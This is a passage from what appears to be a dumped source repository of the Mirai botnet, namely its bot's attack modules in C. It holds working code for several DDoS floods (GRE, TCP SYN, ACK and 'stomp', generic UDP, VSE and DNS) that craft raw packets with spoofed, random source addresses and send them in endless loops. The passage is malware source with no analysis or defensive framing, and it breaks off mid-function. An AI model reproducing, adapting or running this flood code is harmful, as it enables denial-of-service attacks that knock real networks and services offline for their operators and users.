~(greiph->saddr - 1024);\n\n        // UDP header init\n        udph->source = htons(sport);\n        udph->dest = htons(dport);\n        udph->len = htons(sizeof (struct udphdr) + data_len);\n    }\n\n    while (TRUE)\n    {\n        for (i = 0; i < targs_len; i++)\n        {\n            char *pkt = pkts[i];\n            struct iphdr *iph = (struct iphdr *)pkt;\n            struct grehdr *greh = (struct grehdr *)(iph + 1);\n            struct ethhdr *ethh = (struct ethhdr *)(greh + 1);\n            struct iphdr *greiph = (struct iphdr *)(ethh + 1);\n            struct udphdr *udph = (struct udphdr *)(greiph + 1);\n            char *data = (char *)(udph + 1);\n            uint32_t ent1, ent2, ent3;\n\n            // For prefix attacks\n            if (targs[i].netmask < 32)\n                iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));\n\n            if (source_ip == 0xffffffff)\n                iph->saddr = rand_next();\n\n            if (ip_ident == 0xffff)\n            {\n                iph->id = rand_next() & 0xffff;\n                greiph->id = ~(iph->id - 1000);\n            }\n            if (sport == 0xffff)\n                udph->source = rand_next() & 0xffff;\n            if (dport == 0xffff)\n                udph->dest = rand_next() & 0xffff;\n\n            if (!gcip)\n                greiph->daddr = rand_next();\n            else\n                greiph->daddr = iph->daddr;\n\n            ent1 = rand_next();\n            ent2 = rand_next();\n            ent3 = rand_next();\n            util_memcpy(ethh->h_dest, (char *)&ent1, 4);\n            util_memcpy(ethh->h_source, (char *)&ent2, 4);\n            util_memcpy(ethh->h_dest + 4, (char *)&ent3, 2);\n            util_memcpy(ethh->h_source + 4, (((char *)&ent3)) + 2, 2);\n\n            if (data_rand)\n                rand_str(data, data_len);\n\n            iph->check = 0;\n            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));\n\n            greiph->check = 0;\n            greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr));\n\n            udph->check = 0;\n            udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len);\n\n            targs[i].sock_addr.sin_family = AF_INET;\n            targs[i].sock_addr.sin_addr.s_addr = iph->daddr;\n            targs[i].sock_addr.sin_port = 0;\n            sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));\n        }\n\n#ifdef DEBUG\n        if (errno != 0)\n            printf(\"errno = %d\\n\", errno);\n        break;\n#endif\n    }\n}\n"
  },
  {
    "path": "mirai/bot/attack_tcp.c",
    "content": "#define _GNU_SOURCE\n\n#ifdef DEBUG\n#include <stdio.h>\n#endif\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys/socket.h>\n#include <linux/ip.h>\n#include <linux/tcp.h>\n#include <fcntl.h>\n#include <errno.h>\n#include \"includes.h\"\n#include \"attack.h\"\n#include \"checksum.h\"\n#include \"rand.h\"\n\nvoid attack_tcp_syn(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)\n{\n    int i, fd;\n    char **pkts = calloc(targs_len, sizeof (char *));\n    uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);\n    uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);\n    uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);\n    BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);\n    port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);\n    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);\n    uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);\n    uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0);\n    BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);\n    BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, FALSE);\n    BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);\n    BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);\n    BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, TRUE);\n    BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);\n    uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);\n\n    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to create raw socket. Aborting attack\\n\");\n#endif\n        return;\n    }\n    \n    i = 1;\n    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to set IP_HDRINCL. Aborting\\n\");\n#endif\n        close(fd);\n        return;\n    }\n\n    for (i = 0; i < targs_len; i++)\n    {\n        struct iphdr *iph;\n        struct tcphdr *tcph;\n        uint8_t *opts;\n\n        pkts[i] = calloc(128, sizeof (char));\n        iph = (struct iphdr *)pkts[i];\n        tcph = (struct tcphdr *)(iph + 1);\n        opts = (uint8_t *)(tcph + 1);\n\n        iph->version = 4;\n        iph->ihl = 5;\n        iph->tos = ip_tos;\n        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + 20);\n        iph->id = htons(ip_ident);\n        iph->ttl = ip_ttl;\n        if (dont_frag)\n            iph->frag_off = htons(1 << 14);\n        iph->protocol = IPPROTO_TCP;\n        iph->saddr = source_ip;\n        iph->daddr = targs[i].addr;\n\n        tcph->source = htons(sport);\n        tcph->dest = htons(dport);\n        tcph->seq = htons(seq);\n        tcph->doff = 10;\n        tcph->urg = urg_fl;\n        tcph->ack = ack_fl;\n        tcph->psh = psh_fl;\n        tcph->rst = rst_fl;\n        tcph->syn = syn_fl;\n        tcph->fin = fin_fl;\n\n        // TCP MSS\n        *opts++ = PROTO_TCP_OPT_MSS;    // Kind\n        *opts++ = 4;                    // Length\n        *((uint16_t *)opts) = htons(1400 + (rand_next() & 0x0f));\n        opts += sizeof (uint16_t);\n\n        // TCP SACK permitted\n        *opts++ = PROTO_TCP_OPT_SACK;\n        *opts++ = 2;\n\n        // TCP timestamps\n        *opts++ = PROTO_TCP_OPT_TSVAL;\n        *opts++ = 10;\n        *((uint32_t *)opts) = rand_next();\n        opts += sizeof (uint32_t);\n        *((uint32_t *)opts) = 0;\n        opts += sizeof (uint32_t);\n\n        // TCP nop\n        *opts++ = 1;\n\n        // TCP window scale\n        *opts++ = PROTO_TCP_OPT_WSS;\n        *opts++ = 3;\n        *opts++ = 6; // 2^6 = 64, window size scale = 64\n    }\n\n    while (TRUE)\n    {\n        for (i = 0; i < targs_len; i++)\n        {\n            char *pkt = pkts[i];\n            struct iphdr *iph = (struct iphdr *)pkt;\n            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);\n            \n            // For prefix attacks\n            if (targs[i].netmask < 32)\n                iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));\n\n            if (source_ip == 0xffffffff)\n                iph->saddr = rand_next();\n            if (ip_ident == 0xffff)\n                iph->id = rand_next() & 0xffff;\n            if (sport == 0xffff)\n                tcph->source = rand_next() & 0xffff;\n            if (dport == 0xffff)\n                tcph->dest = rand_next() & 0xffff;\n            if (seq == 0xffff)\n                tcph->seq = rand_next();\n            if (ack == 0xffff)\n                tcph->ack_seq = rand_next();\n            if (urg_fl)\n                tcph->urg_ptr = rand_next() & 0xffff;\n\n            iph->check = 0;\n            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));\n\n            tcph->check = 0;\n            tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 20), sizeof (struct tcphdr) + 20);\n\n            targs[i].sock_addr.sin_port = tcph->dest;\n            sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + 20, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));\n        }\n#ifdef DEBUG\n            break;\n            if (errno != 0)\n                printf(\"errno = %d\\n\", errno);\n#endif\n    }\n}\n\nvoid attack_tcp_ack(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)\n{\n    int i, fd;\n    char **pkts = calloc(targs_len, sizeof (char *));\n    uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);\n    uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);\n    uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);\n    BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);\n    port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);\n    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);\n    uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);\n    uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0xffff);\n    BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);\n    BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);\n    BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);\n    BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);\n    BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);\n    BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);\n    int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);\n    BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);\n    uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);\n\n    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to create raw socket. Aborting attack\\n\");\n#endif\n        return;\n    }\n    i = 1;\n    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to set IP_HDRINCL. Aborting\\n\");\n#endif\n        close(fd);\n        return;\n    }\n\n    for (i = 0; i < targs_len; i++)\n    {\n        struct iphdr *iph;\n        struct tcphdr *tcph;\n        char *payload;\n\n        pkts[i] = calloc(1510, sizeof (char));\n        iph = (struct iphdr *)pkts[i];\n        tcph = (struct tcphdr *)(iph + 1);\n        payload = (char *)(tcph + 1);\n\n        iph->version = 4;\n        iph->ihl = 5;\n        iph->tos = ip_tos;\n        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);\n        iph->id = htons(ip_ident);\n        iph->ttl = ip_ttl;\n        if (dont_frag)\n            iph->frag_off = htons(1 << 14);\n        iph->protocol = IPPROTO_TCP;\n        iph->saddr = source_ip;\n        iph->daddr = targs[i].addr;\n\n        tcph->source = htons(sport);\n        tcph->dest = htons(dport);\n        tcph->seq = htons(seq);\n        tcph->doff = 5;\n        tcph->urg = urg_fl;\n        tcph->ack = ack_fl;\n        tcph->psh = psh_fl;\n        tcph->rst = rst_fl;\n        tcph->syn = syn_fl;\n        tcph->fin = fin_fl;\n        tcph->window = rand_next() & 0xffff;\n        if (psh_fl)\n            tcph->psh = TRUE;\n\n        rand_str(payload, data_len);\n    }\n\n//    targs[0].sock_addr.sin_port = tcph->dest;\n//    if (sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[0].sock_addr, sizeof (struct sockaddr_in)) < 1)\n//    {\n//\n//    }\n\n    while (TRUE)\n    {\n        for (i = 0; i < targs_len; i++)\n        {\n            char *pkt = pkts[i];\n            struct iphdr *iph = (struct iphdr *)pkt;\n            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);\n            char *data = (char *)(tcph + 1);\n\n            // For prefix attacks\n            if (targs[i].netmask < 32)\n                iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));\n\n            if (source_ip == 0xffffffff)\n                iph->saddr = rand_next();\n            if (ip_ident == 0xffff)\n                iph->id = rand_next() & 0xffff;\n            if (sport == 0xffff)\n                tcph->source = rand_next() & 0xffff;\n            if (dport == 0xffff)\n                tcph->dest = rand_next() & 0xffff;\n            if (seq == 0xffff)\n                tcph->seq = rand_next();\n            if (ack == 0xffff)\n                tcph->ack_seq = rand_next();\n\n            // Randomize packet content?\n            if (data_rand)\n                rand_str(data, data_len);\n\n            iph->check = 0;\n            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));\n\n            tcph->check = 0;\n            tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);\n\n            targs[i].sock_addr.sin_port = tcph->dest;\n            sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));\n        }\n#ifdef DEBUG\n            break;\n            if (errno != 0)\n                printf(\"errno = %d\\n\", errno);\n#endif\n    }\n}\n\nvoid attack_tcp_stomp(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)\n{\n    int i, rfd;\n    struct attack_stomp_data *stomp_data = calloc(targs_len, sizeof (struct attack_stomp_data));\n    char **pkts = calloc(targs_len, sizeof (char *));\n    uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);\n    uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);\n    uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);\n    BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);\n    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);\n    BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);\n    BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);\n    BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, TRUE);\n    BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);\n    BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);\n    BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);\n    int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 768);\n    BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);\n\n    // Set up receive socket\n    if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Could not open raw socket!\\n\");\n#endif\n        return;\n    }\n    i = 1;\n    if (setsockopt(rfd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to set IP_HDRINCL. Aborting\\n\");\n#endif\n        close(rfd);\n        return;\n    }\n\n    // Retrieve all ACK/SEQ numbers\n    for (i = 0; i < targs_len; i++)\n    {\n        int fd;\n        struct sockaddr_in addr, recv_addr;\n        socklen_t recv_addr_len;\n        char pktbuf[256];\n        time_t start_recv;\n\n        stomp_setup_nums:\n\n        if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n        {\n#ifdef DEBUG\n            printf(\"Failed to create socket!\\n\");\n#endif\n            continue;\n        }\n\n        // Set it in nonblocking mode\n        fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);\n \n        // Set up address to connect to\n        addr.sin_family = AF_INET;\n        if (targs[i].netmask < 32)\n            addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));\n        else\n            addr.sin_addr.s_addr = targs[i].addr;\n        if (dport == 0xffff)\n            addr.sin_port = rand_next() & 0xffff;\n        else\n            addr.sin_port = htons(dport);\n\n        // Actually connect, nonblocking\n        connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));\n        start_recv = time(NULL);\n\n        // Get info\n        while (TRUE)\n        {\n            int ret;\n\n            recv_addr_len = sizeof (struct sockaddr_in);\n            ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len);\n            if (ret == -1)\n            {\n#ifdef DEBUG\n                printf(\"Could not listen on raw socket!\\n\");\n#endif\n                return;\n            }\n            if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr)))\n            {\n                struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr));\n\n                if (tcph->source == addr.sin_port)\n                {\n                    if (tcph->syn && tcph->ack)\n                    {\n                        struct iphdr *iph;\n                        struct tcphdr *tcph;\n                        char *payload;\n\n                        stomp_data[i].addr = addr.sin_addr.s_addr;\n                        stomp_data[i].seq = ntohl(tcph->seq);\n                        stomp_data[i].ack_seq = ntohl(tcph->ack_seq);\n                        stomp_data[i].sport = tcph->dest;\n                        stomp_data[i].dport = addr.sin_port;\n#ifdef DEBUG\n                        printf(\"ACK Stomp got SYN+ACK!\\n\");\n#endif\n                        // Set up the packet\n                        pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);\n                        iph = (struct iphdr *)pkts[i];\n                        tcph = (struct tcphdr *)(iph + 1);\n                        payload = (char *)(tcph + 1);\n\n                        iph->version = 4;\n                        iph->ihl = 5;\n                        iph->tos = ip_tos;\n                        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);\n                        iph->id = htons(ip_ident);\n                        iph->ttl = ip_ttl;\n                        if (dont_frag)\n                            iph->frag_off = htons(1 << 14);\n                        iph->protocol = IPPROTO_TCP;\n                        iph->saddr = LOCAL_ADDR;\n                        iph->daddr = stomp_data[i].addr;\n\n                        tcph->source = stomp_data[i].sport;\n                        tcph->dest = stomp_data[i].dport;\n                        tcph->seq = stomp_data[i].ack_seq;\n                        tcph->ack_seq = stomp_data[i].seq;\n                        tcph->doff = 8;\n                        tcph->fin = TRUE;\n                        tcph->ack = TRUE;\n                        tcph->window = rand_next() & 0xffff;\n                        tcph->urg = urg_fl;\n                        tcph->ack = ack_fl;\n                        tcph->psh = psh_fl;\n                        tcph->rst = rst_fl;\n                        tcph->syn = syn_fl;\n                        tcph->fin = fin_fl;\n\n                        rand_str(payload, data_len);\n                        break;\n                    }\n                    else if (tcph->fin || tcph->rst)\n                    {\n                        close(fd);\n                        goto stomp_setup_nums;\n                    }\n                }\n            }\n\n            if (time(NULL) - start_recv > 10)\n            {\n#ifdef DEBUG\n                printf(\"Couldn't connect to host for ACK Stomp in time. Retrying\\n\");\n#endif\n                close(fd);\n                goto stomp_setup_nums;\n            }\n        }\n    }\n\n    // Start spewing out traffic\n    while (TRUE)\n    {\n        for (i = 0; i < targs_len; i++)\n        {\n            char *pkt = pkts[i];\n            struct iphdr *iph = (struct iphdr *)pkt;\n            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);\n            char *data = (char *)(tcph + 1);\n\n            if (ip_ident == 0xffff)\n                iph->id = rand_next() & 0xffff;\n\n            if (data_rand)\n                rand_str(data, data_len);\n\n            iph->check = 0;\n            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));\n\n            tcph->seq = htons(stomp_data[i].seq++);\n            tcph->ack_seq = htons(stomp_data[i].ack_seq);\n            tcph->check = 0;\n            tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);\n\n            targs[i].sock_addr.sin_port = tcph->dest;\n            sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));\n        }\n#ifdef DEBUG\n            break;\n            if (errno != 0)\n                printf(\"errno = %d\\n\", errno);\n#endif\n    }\n}\n"
  },
  {
    "path": "mirai/bot/attack_udp.c",
    "content": "#define _GNU_SOURCE\n\n#ifdef DEBUG\n#include <stdio.h>\n#endif\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys/socket.h>\n#include <arpa/inet.h>\n#include <linux/ip.h>\n#include <linux/udp.h>\n#include <errno.h>\n#include <fcntl.h>\n\n#include \"includes.h\"\n#include \"attack.h\"\n#include \"checksum.h\"\n#include \"rand.h\"\n#include \"util.h\"\n#include \"table.h\"\n#include \"protocol.h\"\n\nstatic ipv4_t get_dns_resolver(void);\n\nvoid attack_udp_generic(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)\n{\n    int i, fd;\n    char **pkts = calloc(targs_len, sizeof (char *));\n    uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);\n    uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);\n    uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);\n    BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);\n    port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);\n    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);\n    uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);\n    BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);\n    uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);\n\n    if (data_len > 1460)\n        data_len = 1460;\n\n    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to create raw socket. Aborting attack\\n\");\n#endif\n        return;\n    }\n    i = 1;\n    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to set IP_HDRINCL. Aborting\\n\");\n#endif\n        close(fd);\n        return;\n    }\n\n    for (i = 0; i < targs_len; i++)\n    {\n        struct iphdr *iph;\n        struct udphdr *udph;\n\n        pkts[i] = calloc(1510, sizeof (char));\n        iph = (struct iphdr *)pkts[i];\n        udph = (struct udphdr *)(iph + 1);\n\n        iph->version = 4;\n        iph->ihl = 5;\n        iph->tos = ip_tos;\n        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);\n        iph->id = htons(ip_ident);\n        iph->ttl = ip_ttl;\n        if (dont_frag)\n            iph->frag_off = htons(1 << 14);\n        iph->protocol = IPPROTO_UDP;\n        iph->saddr = source_ip;\n        iph->daddr = targs[i].addr;\n\n        udph->source = htons(sport);\n        udph->dest = htons(dport);\n        udph->len = htons(sizeof (struct udphdr) + data_len);\n    }\n\n    while (TRUE)\n    {\n        for (i = 0; i < targs_len; i++)\n        {\n            char *pkt = pkts[i];\n            struct iphdr *iph = (struct iphdr *)pkt;\n            struct udphdr *udph = (struct udphdr *)(iph + 1);\n            char *data = (char *)(udph + 1);\n\n            // For prefix attacks\n            if (targs[i].netmask < 32)\n                iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));\n\n            if (source_ip == 0xffffffff)\n                iph->saddr = rand_next();\n\n            if (ip_ident == 0xffff)\n                iph->id = (uint16_t)rand_next();\n            if (sport == 0xffff)\n                udph->source = rand_next();\n            if (dport == 0xffff)\n                udph->dest = rand_next();\n\n            // Randomize packet content?\n            if (data_rand)\n                rand_str(data, data_len);\n\n            iph->check = 0;\n            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));\n\n            udph->check = 0;\n            udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + data_len);\n\n            targs[i].sock_addr.sin_port = udph->dest;\n            sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));\n        }\n#ifdef DEBUG\n            break;\n            if (errno != 0)\n                printf(\"errno = %d\\n\", errno);\n#endif\n    }\n}\n\nvoid attack_udp_vse(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)\n{\n    int i, fd;\n    char **pkts = calloc(targs_len, sizeof (char *));\n    uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);\n    uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);\n    uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);\n    BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);\n    port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);\n    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 27015);\n    char *vse_payload;\n    int vse_payload_len;\n\n    table_unlock_val(TABLE_ATK_VSE);\n    vse_payload = table_retrieve_val(TABLE_ATK_VSE, &vse_payload_len);\n\n    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to create raw socket. Aborting attack\\n\");\n#endif\n        return;\n    }\n    i = 1;\n    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to set IP_HDRINCL. Aborting\\n\");\n#endif\n        close(fd);\n        return;\n    }\n\n    for (i = 0; i < targs_len; i++)\n    {\n        struct iphdr *iph;\n        struct udphdr *udph;\n        char *data;\n\n        pkts[i] = calloc(128, sizeof (char));\n        iph = (struct iphdr *)pkts[i];\n        udph = (struct udphdr *)(iph + 1);\n        data = (char *)(udph + 1);\n\n        iph->version = 4;\n        iph->ihl = 5;\n        iph->tos = ip_tos;\n        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len);\n        iph->id = htons(ip_ident);\n        iph->ttl = ip_ttl;\n        if (dont_frag)\n            iph->frag_off = htons(1 << 14);\n        iph->protocol = IPPROTO_UDP;\n        iph->saddr = LOCAL_ADDR;\n        iph->daddr = targs[i].addr;\n\n        udph->source = htons(sport);\n        udph->dest = htons(dport);\n        udph->len = htons(sizeof (struct udphdr) + 4 + vse_payload_len);\n\n        *((uint32_t *)data) = 0xffffffff;\n        data += sizeof (uint32_t);\n        util_memcpy(data, vse_payload, vse_payload_len);\n    }\n\n    while (TRUE)\n    {\n        for (i = 0; i < targs_len; i++)\n        {\n            char *pkt = pkts[i];\n            struct iphdr *iph = (struct iphdr *)pkt;\n            struct udphdr *udph = (struct udphdr *)(iph + 1);\n            \n            // For prefix attacks\n            if (targs[i].netmask < 32)\n                iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));\n\n            if (ip_ident == 0xffff)\n                iph->id = (uint16_t)rand_next();\n            if (sport == 0xffff)\n                udph->source = rand_next();\n            if (dport == 0xffff)\n                udph->dest = rand_next();\n\n            iph->check = 0;\n            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));\n\n            udph->check = 0;\n            udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len);\n\n            targs[i].sock_addr.sin_port = udph->dest;\n            sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));\n        }\n#ifdef DEBUG\n            break;\n            if (errno != 0)\n                printf(\"errno = %d\\n\", errno);\n#endif\n    }\n}\n\nvoid attack_udp_dns(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)\n{\n    int i, fd;\n    char **pkts = calloc(targs_len, sizeof (char *));\n    uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);\n    uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);\n    uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);\n    BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);\n    port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);\n    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 53);\n    uint16_t dns_hdr_id = attack_get_opt_int(opts_len, opts, ATK_OPT_DNS_HDR_ID, 0xffff);\n    uint8_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 12);\n    char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);\n    int 